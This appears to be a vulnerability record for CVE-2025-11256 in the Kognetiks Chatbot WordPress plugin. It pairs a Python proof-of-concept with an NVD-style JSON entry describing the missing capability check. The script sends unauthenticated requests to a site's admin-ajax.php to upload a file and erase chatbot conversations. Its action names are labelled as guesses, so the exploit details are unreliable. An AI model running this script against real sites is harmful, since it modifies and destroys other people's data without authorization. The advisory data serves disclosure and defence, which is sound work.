CVE-2025-11256

# CVE-2025-11256 PoC - Kognetiks Chatbot Unauthorized Data Modification # Vulnerability: Missing capability check in file upload and conversation deletion functions import requests target_url = "https://target-wordpress-site.com" # Step 1: Upload a safe file via the unprotected endpoint # The plugin's file upload function lacks capability verification upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the file upload payload (e.g., a safe image file) files = { "file": ("test.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 100, "image/png") } data = { "action": "kognetiks_chatbot_upload_file", # Example action name } # Send the upload request without authentication response = requests.post(upload_endpoint, data=data, files=files) print(f"File Upload Response: {response.status_code} - {response.text}") # Step 2: Delete conversations via the unprotected endpoint delete_data = { "action": "kognetiks_chatbot_delete_conversation", # Example action name "conversation_id": "1", } # Send the delete request without authentication response = requests.post(upload_endpoint, data=delete_data) print(f"Delete Conversation Response: {response.status_code} - {response.text}") # Note: Actual action names and parameters may vary based on plugin version. # The vulnerability exists because these endpoints do not verify user capabilities # (current_user_can) or nonce tokens before processing the requests.

{"cve": {"id": "CVE-2025-11256", "sourceIdentifier": "[email protected]", "published": "2025-10-18T08:15:33.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kognetiks Chatbot plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions in all versions up to, and including, 2.3.5. This makes it possible for unauthenticated attackers to upload limited safe files and erase conversations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3380313%40chatbot-chatgpt&new=3380313%40chatbot-chatgpt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3380317%40chatbot-chatgpt&new=3380317%40chatbot-chatgpt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c8fe389-ff44-4be3-889b-0006977f4f3c?source=cve", "source": "[email protected]"}]}}